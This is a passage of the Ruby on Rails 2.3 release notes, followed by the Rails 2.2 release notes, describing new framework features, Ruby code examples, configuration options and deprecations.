In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the `respond_to` method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to `method_missing` and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple `respond_to` that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup.

5.8 Improved Caching Performance

Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to `MemCacheStore`, it is available to any remote store than implements the required methods.

- Lead Contributor: **Nahum Wild**

5.9 Localized Views

Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a `Posts` controller with a `show` action. By default, this will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :da`, it will render `app/views/posts/show.da.html.erb`. If the localized template isn't present, the undecorated version will be used. Rails also includes `I18n#available_locales` and `I18n::SimpleBackend#available_locales`, which return an array of the translations that are available in the current Rails project.

In addition, you can use the same scheme to localize the rescue files in the `public` directory: `public/500.da.html` or `public/404.en.html` work, for example.

5.10 Partial Scoping for Translations

A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call `translate(".foo")` from the `people/index.html.erb` template, you'll actually be calling `I18n.translate("people.index.foo")` If you don't prepend the key with a period, then the API doesn't scope, just as before.

5.11 Other Action Controller Changes

- ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with `send_file`.
- The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set `ActionController::Base.ip_spoofing_check = false` to disable the check entirely.
- `ActionController::Dispatcher` now implements its own middleware stack, which you can see by running `rake middleware`.
- Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores.
- You can now use symbols for the `:type` option of `send_file` and `send_data`, like this: `send_file("fabulous.png", :type => :png)`.
- The `:only` and `:except` options for `map.resources` are no longer inherited by nested resources.
- The bundled memcached client has been updated to version 1.6.4.99.
- The `expires_in`, `stale?`, and `fresh_when` methods now accept a `:public` option to make them work well with proxy caching.
- The `:requirements` option now works properly with additional RESTful member routes.
- Shallow routes now properly respect namespaces.
- `polymorphic_url` does a better job of handling objects with irregular plural names.

6 Action View

Action View in Rails 2.3 picks up nested model forms, improvements to `render`, more flexible prompts for the date

Action View in Rails 2.3 picks up nested model forms, improvements to render, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things.

6.1 Nested Object Forms

Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using `form_for` and `field_for`. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model:

```
class Customer < ActiveRecord::Base
  has_many :orders

  accepts_nested_attributes_for :orders, :allow_destroy => true
end
```

You can write this view in Rails 2.3:

```
<% form_for @customer do |customer_form| %>
  <div>
    <%= customer_form.label :name, 'Customer Name:' %>
    <%= customer_form.text_field :name %>
  </div>

  <!-- Here we call fields_for on the customer_form builder instance.
   The block is called for each member of the orders collection. -->
  <% customer_form.fields_for :orders do |order_form| %>
    <p>
      <div>
        <%= order_form.label :number, 'Order Number:' %>
        <%= order_form.text_field :number %>
      </div>

  <!-- The allow_destroy option in the model enables deletion of
   child records. -->
      <% unless order_form.object.new_record? %>
        <div>
          <%= order_form.label :_delete, 'Remove:' %>
          <%= order_form.check_box :_delete %>
        </div>
      <% end %>
    </p>
  <% end %>

  <%= customer_form.submit %>
<% end %>
```

- Lead Contributor: **Eloy Duran**
- More Information:
  - **Nested Model Forms**
  - **complex-form-examples**
  - **What's New in Edge Rails: Nested Object Forms**

6.2 Smart Rendering of Partials

The render method has been getting smarter over the years, and it's even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming):

```
# Equivalent of render :partial => 'articles/_article',
# :object => @article
render @article

# Equivalent of render :partial => 'articles/_article',
# :collection => @articles
render @articles
```

- More Information: **What's New in Edge Rails: render Stops Being High-Maintenance**

6.3 Prompts for Date Select Helpers

In Rails 2.3, you can supply custom prompts for the various date select helpers (`date_select`, `time_select`, and `datetime_select`), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set `:prompt` to `true` to use the custom generic prompt:

```
select_datetime(DateTime.now, :prompt => true)

select_datetime(DateTime.now, :prompt => "Choose date and time")

select_datetime(DateTime.now, :prompt =>
  {:day => 'Choose day', :month => 'Choose month',
   :year => 'Choose year', :hour => 'Choose hour',
   :minute => 'Choose minute'})
```

- Lead Contributor: **Sam Oliver**

6.4 AssetTag Timestamp Caching

You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the `cache_asset_timestamps` configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets – but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients.

6.5 Asset Hosts as Objects

Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to implement any complex logic you need in your asset hosting.

- More Information: **asset-hosting-with-minimum-ssl**

6.6 grouped_options_for_select Helper Method

Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: `grouped_options_for_select`. This one accepts an array or hash of strings, and converts them into a string of `option` tags wrapped with `optgroup` tags. For example:

```
grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]],
  "Cowboy Hat", "Choose a product...")
```

returns

```
<option value="">Choose a product...</option>
<optgroup label="Hats">
  <option value="Baseball Cap">Baseball Cap</option>
  <option selected="selected" value="Cowboy Hat">Cowboy Hat</option>
</optgroup>
```

6.7 Disabled Option Tags for Form Select Helpers

The form select helpers (such as `select` and `options_for_select`) now support a `:disabled` option, which can take a single value or an array of values to be disabled in the resulting tags:

```
select(:post, :category, Post::CATEGORIES, :disabled => 'private')
```

returns

```
<select name="post[category]">
<option>story</option>
<option>joke</option>
<option>poem</option>
<option disabled="disabled">private</option>
</select>
```

You can also use an anonymous function to determine at runtime which options from collections will be selected and/or

disabled:

```
options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lambda{|size| size.out_of_stock?})
```

- Lead Contributor: **Tekin Suleyman**
- More Information: **New in rails 2.3 – disabled option tags and lambdas for selecting and disabling options from collections**

6.8 A Note About Template Loading

Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered – but they also mean that you can't replace a template "on the fly" without restarting the server.

In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your `production.rb` file:

```
config.action_view.cache_template_loading = true
```

This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development.

6.9 Other Action View Changes

- Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by `ActiveSupport::SecureRandom` rather than mucking around with session IDs.
- `auto_link` now properly applies options (such as `:target` and `:class`) to generated e-mail links.
- The `autolink` helper has been refactored to make it a bit less messy and more intuitive.
- `current_page?` now works properly even when there are multiple query parameters in the URL.

7 Active Support

Active Support has a few interesting changes, including the introduction of `Object#try`.

7.1 Object#try

A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like `<%= @person.try(:name) %>`. Well, now it's baked right into Rails. As implemented in Rails, it raises `NoMethodError` on private methods and always returns `nil` if the object is nil.

- More Information: **try**.

7.2 Object#tap Backport

`Object#tap` is an addition to **Ruby 1.9** and 1.8.7 that is similar to the `returning` method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well.

7.3 Swappable Parsers for XMLmini

The support for XML parsing in ActiveSupport has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed:

```
XmlMini.backend = 'LibXML'
```

- Lead Contributor: **Bart ten Brinke**
- Lead Contributor: **Aaron Patterson**

7.4 Fractional seconds for TimeWithZone

The `Time` and `TimeWithZone` classes include an `xmlschema` method to return the time in an XML-friendly string. As of Rails 2.3, `TimeWithZone` supports the same argument for specifying the number of digits in the fractional second part of the returned string that `Time` does:

```
>> Time.zone.now.xmlschema(6)
=> "2009-01-16T13:00:06.13653Z"
```

- Lead Contributor: **Nicholas Dainty**

- Lead Contributor: **Nicholas Dainty**

7.5 JSON Key Quoting

If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we do the right thing here, even with numeric keys.

7.6 Other Active Support Changes

- You can use `Enumerable#none?` to check that none of the elements match the supplied block.
- If you're using Active Support **delegates**, the new `:allow_nil` option lets you return `nil` instead of raising an exception when the target object is nil.
- `ActiveSupport::OrderedHash`: now implements `each_key` and `each_value`.
- `ActiveSupport::MessageEncryptor` provides a simple way to encrypt information for storage in an untrusted location (like cookies).
- Active Support's `from_xml` no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around.
- If you memoize a private method, the result will now be private.
- `String#parameterize` accepts an optional separator: `"Quick Brown Fox".parameterize('_') => "quick_brown_fox"`.
- `number_to_phone` accepts 7-digit phone numbers now.
- `ActiveSupport::Json.decode` now handles `\u0000` style escape sequences.

8 Railties

In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces.

8.1 Rails Metal

Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins.

- More Information:
  - **Introducing Rails Metal**
  - **Rails Metal: a micro-framework with the power of Rails**
  - **Metal: Super-fast Endpoints within your Rails Apps**
  - **What's New in Edge Rails: Rails Metal**

8.2 Application Templates

Rails 2.3 incorporates Jeremy McAnally's **rg** application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the `rails` command. There's also a rake task to apply a template to an existing application:

```
rake rails:template LOCATION=~/template.rb
```

This will layer the changes from the template on top of whatever code the project already contains.

- Lead Contributor: **Jeremy McAnally**
- More Info:**Rails templates**

8.3 Quieter Backtraces

Building on Thoughtbot's **Quiet Backtrace** plugin, which allows you to selectively remove lines from `Test::Unit` backtraces, Rails 2.3 implements `ActiveSupport::BacktraceCleaner` and `Rails::BacktraceCleaner` in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a `config/backtrace_silencers.rb` file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace.

8.4 Faster Boot Time in Development Mode with Lazy Loading/Autoload

Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks – Active Support, Active Record, Action Controller, Action Mailer and Action View – are now using `autoload` to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.

You can also specify (by using the new `preload_frameworks` option) whether the core libraries should be autoloaded at startup. This defaults to `false` so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once – Passenger and JRuby both want to see all of Rails loaded together.

8.5 rake gem Task Rewrite

The internals of the various
`rake gem`
tasks have been substantially revised, to make the system work better for a variety of cases. The gem system now knows the difference between development and runtime dependencies, has a more robust unpacking system, gives better information when querying for the status of gems, and is less prone to "chicken and egg" dependency issues when you're bringing things up from scratch. There are also fixes for using gem commands under JRuby and for dependencies that try to bring in external copies of gems that are already vendored.

- Lead Contributor: **David Dollar**

8.6 Other Railties Changes

- The instructions for updating a CI server to build Rails have been updated and expanded.
- Internal Rails testing has been switched from `Test::Unit::TestCase` to `ActiveSupport::TestCase`, and the Rails core requires Mocha to test.
- The default `environment.rb` file has been decluttered.
- The dbconsole script now lets you use an all-numeric password without crashing.
- `Rails.root` now returns a `Pathname` object, which means you can use it directly with the `join` method to **clean up existing code** that uses `File.join`.
- Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding `--with-dispatchers` when you run the `rails` command, or add them later with `rake rails:update:generate_dispatchers`).
- Rails Guides have been converted from AsciiDoc to Textile markup.
- Scaffolded views and controllers have been cleaned up a bit.
- `script/server` now accepts a `–path` argument to mount a Rails application from a specific path.
- If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing.
- Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files.

9 Deprecated

A few pieces of older code are deprecated in this release:

- If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the **irs_process_scripts** plugin.
- `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the **render_component plugin**.
- Support for Rails components has been removed.
- If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There's a new request_profiler plugin that you can install to get the exact same functionality back.
- `ActionController::Base#session_enabled?` is deprecated because sessions are lazy-loaded now.
- The `:digest` and `:secret` options to `protect_from_forgery` are deprecated and have no effect.
- Some integration test helpers have been removed. `response.headers["Status"]` and `headers["Status"]` will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the `status` and `status_message` helpers. `response.headers["cookie"]` and `headers["cookie"]` will no longer return any CGI cookies. You can inspect `headers["Set-Cookie"]` to see the raw cookie header or use the `cookies` helper to get a hash of the cookies sent to the client.
- `formatted_polymorphic_url` is deprecated. Use `polymorphic_url` with `:format` instead.
- The `:http_only` option in `ActionController::Response#set_cookie` has been renamed to `:httponly`.
- The `:connector` and `:skip_last_comma` options of `to_sentence` have been replaced by `:words_connnector`, `:two_words_connector`, and `:last_word_connector` options.
- Posting a multipart form with an empty `file_field` control used to submit an empty string to the controller. Now

- Posting a multipart form with an empty `file_field` control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one.

10 Credits

Release notes compiled by **Mike Gunderloy**. This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3.

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

Ruby on Rails 2.2 Release Notes

Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the **list of commits** in the main Rails repository on GitHub.

Along with Rails, 2.2 marks the launch of the **Ruby on Rails Guides**, the first results of the ongoing **Rails Guides hackfest**. This site will deliver high-quality documentation of the major features of Rails.

Chapters

1. **Infrastructure**
    - **Internationalization**
    - **Compatibility with Ruby 1.9 and JRuby**
2. **Documentation**
3. **Better integration with HTTP : Out of the box ETag support**
4. **Thread Safety**
5. **Active Record**
    - **Transactional Migrations**
    - **Connection Pooling**
    - **Hashes for Join Table Conditions**
    - **New Dynamic Finders**
    - **Associations Respect Private/Protected Scope**
    - **Other ActiveRecord Changes**
6. **Action Controller**
    - **Shallow Route Nesting**
    - **Method Arrays for Member or Collection Routes**
    - **Resources With Specific Actions**
    - **Other Action Controller Changes**
7. **Action View**
8. **Action Mailer**
9. **Active Support**
    - **Memoization**
    - **each_with_object**
    - **Delegates With Prefixes**
    - **Other Active Support Changes**
10. **Railties**
    - **config.gems**
    - **Other Railties Changes**
11. **Deprecated**
12. **Credits**

1 Infrastructure

Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.

1.1 Internationalization

Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).

- Lead Contributors: Rails i18 Team
- More information :
    - **Official Rails i18 website**
    - **Finally. Ruby on Rails gets internationalized**
    - **Localizing Rails : Demo application**

1.2 Compatibility with Ruby 1.9 and JRuby

Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.

2 Documentation

The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the **Ruby on Rails Guides** project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:

- **Getting Started with Rails**
- **Rails Database Migrations**
- **Active Record Associations**
- **Active Record Query Interface**
- **Layouts and Rendering in Rails**
- **Action View Form Helpers**
- **Rails Routing from the Outside In**
- **Action Controller Overview**
- **Rails Caching**
- **A Guide to Testing Rails Applications**
- **Securing Rails Applications**
- **Debugging Rails Applications**
- **Performance Testing Rails Applications**
- **The Basics of Creating Rails Plugins**

All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.

If you want to generate these guides locally, inside your application:

```
rake doc:guides
```

This will put the guides inside `Rails.root/doc/guides` and you may start surfing straight away by opening `Rails.root/doc/guides/index.html` in your favourite browser.

- Lead Contributors: **Rails Documentation Team**
- Major contributions from **Xavier Noria** and **Hongli Lai**.
- More information:
  - **Rails Guides hackfest**
  - **Help improve Rails documentation on Git branch**

3 Better integration with HTTP : Out of the box ETag support

Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.

```
class ArticlesController < ApplicationController
  def show_with_respond_to_block
    @article = Article.find(params[:id])

    # If the request sends headers that differs from the options provided to stale?, then
    # the request is indeed stale and the respond_to block is triggered (and the options
    # to the stale? call is set on the response).
    #
    # If the request headers match, then the request is fresh and the respond_to block is
    # not triggered. Instead the default render will occur, which will check the last-modified
    # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
    # of rendering the template.
    if stale?(:last_modified => @article.published_at.utc, :etag => @article)
      respond_to do |wants|
        # normal response processing
      end
    end
```

```
  end

  def show_with_implied_render
    @article = Article.find(params[:id])

    # Sets the response headers and checks them against the request, if the request is stale
    # (i.e. no match of either etag or last-modified), then the default render of the template happens.
    # If the request is fresh, then the default render will return a "304 Not Modified"
    # instead of rendering the template.
    fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
  end
end
```

4 Thread Safety

The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.

To enable multithreaded dispatching in production mode of your application, add the following line in your `config/environments/production.rb`:

```
config.threadsafe!
```

- More information :
  - **Thread safety for your Rails**
  - **Thread safety project announcement**
  - **Q/A: What Thread-safe Rails Means**

5 Active Record

There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.

5.1 Transactional Migrations

Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by `rake db:migrate:redo` after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future – and IBM has already extended it to support the DB2 adapter.

- Lead Contributor: **Adam Wiggins**
- More information:
  - **DDL Transactions**
  - **A major milestone for DB2 on Rails**

5.2 Connection Pooling

Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a `pool` key to your `database.yml` to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a `wait_timeout` that defaults to 5 seconds before giving up. `ActiveRecord::Base.connection_pool` gives you direct access to the pool if you need it.

```
development:
  adapter: mysql
  username: root
  database: sample_development
  pool: 10
  wait_timeout: 10
```

- Lead Contributor: **Nick Sieger**
- More information:

    - **What's New in Edge Rails: Connection Pools**

5.3 Hashes for Join Table Conditions

You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.

```
class Photo < ActiveRecord::Base
  belongs_to :product
end

class Product < ActiveRecord::Base
  has_many :photos
end

# Get all products with copyright-free photos:
Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }})
```

- More information:
    - **What's New in Edge Rails: Easy Join Table Conditions**

5.4 New Dynamic Finders

Two new sets of methods have been added to Active Record's dynamic finders family.

5.4.1 `find_last_by_attribute`

The `find_last_by_attribute` method is equivalent to `Model.last(:conditions => {:attribute => value})`

```
# Get the last user who signed up from London
User.find_last_by_city('London')
```

- Lead Contributor: **Emilio Tagua**

5.4.2 `find_by_attribute!`

The new bang! version of `find_by_attribute!` is equivalent to `Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound` Instead of returning `nil` if it can't find a matching record, this method will raise an exception if it cannot find a match.

```
# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
User.find_by_name!('Moby')
```

- Lead Contributor: **Josh Susser**

5.5 Associations Respect Private/Protected Scope

Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) `@user.account.private_method` would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use `@user.account.send(:private_method)` (or make the method public instead of private or protected). Please note that if you're overriding `method_missing`, you should also override `respond_to` to match the behavior in order for associations to function normally.

- Lead Contributor: Adam Milligan
- More information:
    - **Rails 2.2 Change: Private Methods on Association Proxies are Private**

5.6 Other ActiveRecord Changes

- `rake db:migrate:redo` now accepts an optional VERSION to target that specific migration to redo
- Set `config.active_record.timestamped_migrations = false` to have migrations with numeric prefix instead of UTC timestamp.
- Counter cache columns (for associations declared with `:counter_cache => true`) do not need to be initialized to zero any longer.
- `ActiveRecord::Base.human_name` for an internationalization-aware humane translation of model names

6 Action Controller

On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.

6.1 Shallow Route Nesting

Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.

```
map.resources :publishers, :shallow => true do |publisher|
  publisher.resources :magazines do |magazine|
    magazine.resources :photos
  end
end
```

This will enable recognition of (among others) these routes:

```
/publishers/1           ==> publisher_path(1)
/publishers/1/magazines ==> publisher_magazines_path(1)
/magazines/2            ==> magazine_path(2)
/magazines/2/photos     ==> magazines_photos_path(2)
/photos/3               ==> photo_path(3)
```

- Lead Contributor: **S. Brent Faulkner**
- More information:
  - **Rails Routing from the Outside In**
  - **What's New in Edge Rails: Shallow Routes**

6.2 Method Arrays for Member or Collection Routes

You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:

```
map.resources :photos, :collection => { :search => [:get, :post] }
```

- Lead Contributor: **Brennan Dunn**

6.3 Resources With Specific Actions

By default, when you use `map.resources` to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the `:only` and `:except` options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special `:all` or `:none` options. These options are inherited by nested resources.

```
map.resources :photos, :only => [:index, :show]
map.resources :products, :except => :destroy
```

- Lead Contributor: **Tom Stuart**

6.4 Other Action Controller Changes

- You can now easily **show a custom error page** for exceptions raised while routing a request.
- The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as `/customers/1.xml`) to indicate the format that you want. If you need the Accept headers, you can turn them back on with `config.action_controller.use_accept_header = true`.
- Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds
- Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.
- `redirect_to` now fully supports URI schemes (so, for example, you can redirect to a svn+ssh: URI).
- `render` now supports a `:js` option to render plain vanilla JavaScript with the right mime type.
- Request forgery protection has been tightened up to apply to HTML-formatted content requests only.
- Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling `polymorphic_path([@project, @date, @area])` with a nil date will give you `project_area_path`

`polymorphic_path([@project, @date, @area])` with a nil date will give you `project_area_path`.

7 Action View

- `javascript_include_tag` and `stylesheet_link_tag` support a new `:recursive` option to be used along with `:all`, so that you can load an entire tree of files with a single line of code.
- The included Prototype JavaScript library has been upgraded to version 1.6.0.3.
- `RJS#page.reload` to reload the browser's current location via JavaScript
- The `atom_feed` helper now takes an `:instruct` option to let you insert XML processing instructions.

8 Action Mailer

Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout – for example, the `CustomerMailer` class expects to use `layouts/customer_mailer.html.erb`.

- More information:
  - **What's New in Edge Rails: Mailer Layouts**

Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.

9 Active Support

Active Support now offers built-in memoization for Rails applications, the `each_with_object` method, prefix support on delegates, and various other new utility methods.

9.1 Memoization

Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:

```
def full_name
  @full_name ||= "#{first_name} #{last_name}"
end
```

Memoization lets you handle this task in a declarative fashion:

```
extend ActiveSupport::Memoizable

def full_name
  "#{first_name} #{last_name}"
end
memoize :full_name
```

Other features of memoization include `unmemoize`, `unmemoize_all`, and `memoize_all` to turn memoization on or off.

- Lead Contributor: **Josh Peek**
- More information:
  - **What's New in Edge Rails: Easy Memoization**
  - **Memo-what? A Guide to Memoization**

9.2 each_with_object

The `each_with_object` method provides an alternative to `inject`, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.

```
%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'}
```

Lead Contributor: **Adam Keys**

9.3 Delegates With Prefixes

If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:

```
class Vendor < ActiveRecord::Base
```

```
class Vendor < ActiveRecord::Base
  has_one :account
  delegate :email, :password, :to => :account, :prefix => true
end
```

This will produce delegated methods `vendor#account_email` and `vendor#account_password`. You can also specify a custom prefix:

```
class Vendor < ActiveRecord::Base
  has_one :account
  delegate :email, :password, :to => :account, :prefix => :owner
end
```

This will produce delegated methods `vendor#owner_email` and `vendor#owner_password`.

Lead Contributor: **Daniel Schierbeck**

9.4 Other Active Support Changes

- Extensive updates to `ActiveSupport::Multibyte`, including Ruby 1.9 compatibility fixes.
- The addition of `ActiveSupport::Rescuable` allows any class to mix in the `rescue_from` syntax.
- `past?`, `today?` and `future?` for `Date` and `Time` classes to facilitate date/time comparisons.
- `Array#second` through `Array#fifth` as aliases for `Array#[1]` through `Array#[4]`
- `Enumerable#many?` to encapsulate `collection.size > 1`
- `Inflector#parameterize` produces a URL-ready version of its input, for use in `to_param`.
- `Time#advance` recognizes fractional days and weeks, so you can do `1.7.weeks.ago`, `1.5.hours.since`, and so on.
- The included TzInfo library has been upgraded to version 0.3.12.
- `ActiveSuport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true`

10 Railties

In Railties (the core code of Rails itself) the biggest changes are in the `config.gems` mechanism.

10.1 config.gems

To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in `/vendor/gems`. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:

- `config.gem _gem_name_` in your `config/environment.rb` file
- `rake gems` to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen)
- `rake gems:install` to install missing gems to the computer
- `rake gems:unpack` to place a copy of the required gems into `/vendor/gems`
- `rake gems:unpack:dependencies` to get copies of the required gems and their dependencies into `/vendor/gems`
- `rake gems:build` to build any missing native extensions
- `rake gems:refresh_specs` to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them

You can unpack or install a single gem by specifying `GEM=_gem_name_` on the command line.

- Lead Contributor: **Matt Jones**
- More information:
  - **What's New in Edge Rails: Gem Dependencies**
  - **Rails 2.1.2 and 2.2RC1: Update Your RubyGems**
  - **Detailed discussion on Lighthouse**

10.2 Other Railties Changes

- If you're a fan of the **Thin** web server, you'll be happy to know that `script/server` now supports Thin directly.
- `script/plugin install <plugin> -r <revision>` now works with git-based as well as svn-based plugins.

- `script/console` now supports a `--debugger` option
- Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source
- `rake notes:custom ANNOTATION=MYFLAG` lets you list out custom annotations.
- Wrapped `Rails.env` in `StringInquirer` so you can do `Rails.env.development?`
- To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.

11 Deprecated

A few pieces of older code are deprecated in this release:

- `Rails::SecretKeyGenerator` has been replaced by `ActiveSupport::SecureRandom`
- `render_component` is deprecated. There's a **render_components plugin** available if you need this functionality.
- Implicit local assignments when rendering partials has been deprecated.

```
def partial_with_implicit_local_assignment
  @customer = Customer.new("Marcel")
  render :partial => "customer"
end
```

Previously the above code made available a local variable called `customer` inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now.

- `country_select` has been removed. See the **deprecation page** for more information and a plugin replacement.
